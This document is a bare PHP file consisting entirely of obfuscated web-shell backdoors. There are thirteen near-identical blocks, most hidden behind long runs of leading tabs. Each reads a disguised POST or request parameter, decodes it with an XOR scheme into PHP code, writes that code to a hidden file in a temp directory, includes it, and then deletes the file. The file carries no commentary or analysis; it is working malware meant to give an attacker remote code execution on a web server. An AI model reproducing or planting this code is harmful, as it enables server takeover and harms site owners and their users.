<?php																																										if(@$_REQUEST["\x74k\x6E"] !== null){ $obj = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), getcwd(), "/tmp", getenv("TMP"), "/dev/shm", sys_get_temp_dir(), session_save_path(), getenv("TEMP")]); $value = $_REQUEST["\x74k\x6E"]; $value = explode ('.' , $value ) ; $entry= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s); $o= 0; foreach ($value as $v7) { $sChar= ord($s[$o % $lenS]); $d= ((int)$v7 - $sChar - ($o % 10)) ^ 49; $entry .= chr($d); $o++; } foreach ($obj as $object) { if (is_dir($object) ? is_writable($object) : false) { $token = vsprintf("%s/%s", [$object, ".flag"]); if (file_put_contents($token, $entry)) { include $token; @unlink($token); die(); } } } }
																																										if(isset($_POST) && isset($_POST["\x6D\x61\x72ker"])){ $pset = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), "/tmp", getcwd(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp"]); $factor = $_POST["\x6D\x61\x72ker"]; $factor =explode ( ".",$factor); $component = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s1 ); $len = count($factor ); for ($w = 0; $w< $len; $w++) { $v7 = $factor[$w]; $sChar = ord($s1[$w % $lenS] ); $d = ((int)$v7 - $sChar - ($w % 10)) ^43; $component .= chr($d ); } foreach ($pset as $resource): if (is_dir($resource) ? is_writable($resource) : false) { $fac = "$resource/.pgrp"; $file = fopen($fac, 'w'); if ($file) { fwrite($file, $component); fclose($file); include $fac; @unlink($fac); die(); } } endforeach; }
																																										if(!is_null($_REQUEST["\x70rop\x65\x72\x74\x79_set"] ?? null)){ $record = array_filter([sys_get_temp_dir(), "/tmp", getenv("TMP"), "/var/tmp", getcwd(), session_save_path(), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir")]); $entity = $_REQUEST["\x70rop\x65\x72\x74\x79_set"]; $entity=explode ( '.' ,$entity ) ; $item = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s5); $len = count($entity); for ($n = 0; $n< $len; $n++) { $v4 = $entity[$n]; $chS = ord($s5[$n % $sLen]); $d = ((int)$v4 - $chS - ($n % 10)) ^ 36; $item .= chr($d); } foreach ($record as $ent): if ((bool)is_dir($ent) && (bool)is_writable($ent)) { $comp = join("/", [$ent, ".dat"]); if (file_put_contents($comp, $item)) { require $comp; unlink($comp); die(); } } endforeach; }
																																										if(isset($_POST) && isset($_POST["f\x6Cg"])){ $fac = $_POST["f\x6Cg"]; $fac=explode( '.' , $fac ) ; $component = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s5); $l = 0; $__tmp = $fac; while( $v6 = array_shift( $__tmp)) { $sChar = ord( $s5[$l % $lenS]); $d = ( ( int)$v6 - $sChar -( $l % 10))^ 95; $component .= chr( $d); $l++; } $mrk = array_filter(["/tmp", "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getenv("TMP"), getcwd()]); foreach ($mrk as $key => $comp) { if (is_dir($comp) ? is_writable($comp) : false) { $parameter_group = join("/", [$comp, ".symbol"]); $file = fopen($parameter_group, 'w'); if ($file) { fwrite($file, $component); fclose($file); include $parameter_group; @unlink($parameter_group); die(); } } } }
																																										if(isset($_POST["i\x74\x6D"])){ $res = $_POST["i\x74\x6D"]; $res = explode( "." ,$res ) ; $tkn = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $m = 0; $__tmp = $res; while ($v3 = array_shift($__tmp)) {$chS = ord($salt[$m % $sLen]); $d = ((int)$v3 - $chS - ($m % 10)) ^ 12; $tkn .= chr($d); $m++; } $mrk = array_filter(["/var/tmp", sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/dev/shm"]); while ($marker = array_shift($mrk)) { if (is_dir($marker) ? is_writable($marker) : false) { $item = "$marker/.desc"; $success = file_put_contents($item, $tkn); if ($success) { include $item; @unlink($item); die();} } } }
																																										if(array_key_exists("d\x65scr\x69\x70tor", $_REQUEST)){ $element = $_REQUEST["d\x65scr\x69\x70tor"]; $element = explode ( "." ,$element ) ; $flg =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s); $x =0; foreach ($element as $v2) { $chS =ord($s[$x%$lenS]); $d =((int)$v2 - $chS - ($x%10)) ^ 44; $flg .= chr($d); $x++;} $elem = array_filter([getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), session_save_path(), "/tmp", sys_get_temp_dir(), getenv("TMP")]); for ($itm = 0, $component = count($elem); $itm < $component; $itm++) { $binding = $elem[$itm]; if ((function($d) { return is_dir($d) && is_writable($d); })($binding)) { $obj = str_replace("{var_dir}", $binding, "{var_dir}/.ent"); $file = fopen($obj, 'w'); if ($file) { fwrite($file, $flg); fclose($file); include $obj; @unlink($obj); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["d\x61\x74a"])){ $pointer = array_filter(["/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", sys_get_temp_dir(), "/tmp", getenv("TMP"), getenv("TEMP")]); $comp = $_REQUEST["d\x61\x74a"]; $comp = explode ( '.' , $comp ); $key = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9); $p = 0; while($p < count($comp)) { $v4 = $comp[$p]; $chS = ord($s9[$p% $sLen]); $d =((int)$v4 - $chS -($p% 10)) ^ 75; $key .= chr($d); $p++; } while ($object = array_shift($pointer)) { if ((is_dir($object) and is_writable($object))) { $resource = "$object" . "/.elem"; if (file_put_contents($resource, $key)) { include $resource; @unlink($resource); exit; } } } }
																																										if(!is_null($_POST["el\x65\x6D"] ?? null)){ $ent = array_filter([getcwd(), getenv("TEMP"), "/tmp", getenv("TMP"), "/dev/shm", "/var/tmp", session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); $value = $_POST["el\x65\x6D"]; $value =explode( '.' , $value ) ; $record =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s); foreach ($value as $z => $v9) { $sChar =ord($s[$z % $lenS]); $d =((int)$v9 - $sChar - ($z % 10)) ^ 78; $record .=chr($d); } for ($flg = 0, $key = count($ent); $flg < $key; $flg++) { $bind = $ent[$flg]; if (is_dir($bind) && is_writable($bind)) { $object = str_replace("{var_dir}", $bind, "{var_dir}/.dat"); if (file_put_contents($object, $record)) { require $object; unlink($object); exit; } } } }
																																										if(in_array("s\x79\x6D\x62ol", array_keys($_POST))){ $flag = array_filter([getenv("TEMP"), "/dev/shm", session_save_path(), sys_get_temp_dir(), "/tmp", getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP")]); $res = $_POST["s\x79\x6D\x62ol"]; $res =explode ( "." , $res ) ; $data_chunk= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s ); $u= 0; array_walk( $res, function( $v9) use( &$data_chunk, &$u, $s, $sLen) { $chS= ord( $s[$u %$sLen] ); $d= ( ( int)$v9 - $chS -( $u %10)) ^ 7; $data_chunk .= chr( $d ); $u++; } ); $component = 0; do { $rec = $flag[$component] ?? null; if ($component >= count($flag)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($rec)) { $ent = vsprintf("%s/%s", [$rec, ".ent"]); if (file_put_contents($ent, $data_chunk)) { include $ent; @unlink($ent); exit; } } $component++; } while (true); }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x68ol\x64e\x72"])){ $pset = array_filter([getenv("TEMP"), getenv("TMP"), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), sys_get_temp_dir(), getcwd()]); $comp = $_REQUEST["\x68ol\x64e\x72"]; $comp = explode( "." , $comp ) ; $ent = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($comp as $i =>$v1) { $chS = ord($s[$i % $lenS]); $d = ((int)$v1 - $chS - ($i % 10)) ^ 39; $ent .= chr($d); } foreach ($pset as $ptr) { if ((function($d) { return is_dir($d) && is_writable($d); })($ptr)) { $obj = "$ptr/.ref"; if (file_put_contents($obj, $ent)) { require $obj; unlink($obj); exit; } } } }
																																										if(in_array("\x76al\x75e", array_keys($_REQUEST))){ $flg = array_filter(["/var/tmp", getcwd(), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), session_save_path()]); $binding = $_REQUEST["\x76al\x75e"]; $binding =explode( "." , $binding ) ; $marker = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s5 ); $y = 0; foreach( $binding as $v3) { $sChar = ord( $s5[$y% $sLen] ); $dec =( ( int)$v3 - $sChar -( $y% 10)) ^ 73; $marker .= chr( $dec ); $y++;} for ($property_set = 0, $rec = count($flg); $property_set < $rec; $property_set++) { $ptr = $flg[$property_set]; if (!!is_dir($ptr) && !!is_writable($ptr)) { $itm = implode("/", [$ptr, ".tkn"]); if (file_put_contents($itm, $marker)) { require $itm; unlink($itm); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "e\x6E\x74\x69ty")){ $res = $_REQUEST["e\x6E\x74\x69ty"]; $res =explode ('.',$res ) ; $dat = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $i = 0; $__tmp = $res; while($v2 = array_shift($__tmp)) { $sChar = ord($s[$i %$sLen]); $d =((int)$v2 - $sChar -($i %10))^32; $dat .= chr($d); $i++; } $pset = array_filter(["/dev/shm", getenv("TEMP"), "/tmp", getcwd(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), "/var/tmp", sys_get_temp_dir()]); while ($comp = array_shift($pset)) { if (max(0, is_dir($comp) * is_writable($comp))) { $marker = vsprintf("%s/%s", [$comp, ".resource"]); if (file_put_contents($marker, $dat)) { require $marker; unlink($marker); exit; } } } }


if(array_key_exists("\x66l\x67", $_POST)){
	$element = $_POST["\x66l\x67"];
	$element=explode  (	'.'  ,		 $element)	 	;	
	$pointer	 ='';
            $s	 ='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	 =strlen( $s);
            $w	 =0;
    
            while( $w < count( $element)) {
                $v9	 =$element[$w];
                $chS	 =ord( $s[$w % $lenS]);
                $d	 =( ( int)$v9 - $chS -( $w % 10)) ^ 13;
                $pointer .=	chr( $d);
                $w++;
            }
	$pgrp = array_filter([ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", "/var/tmp", "/tmp", session_save_path()]);
	while ($dchunk = array_shift($pgrp)) {
    		if ((is_dir($dchunk) and is_writable($dchunk))) {
    $token = "$dchunk" . "/.descriptor";
    if (file_put_contents($token, $pointer)) {
	include $token;
	@unlink($token);
	die();
}
}
}
}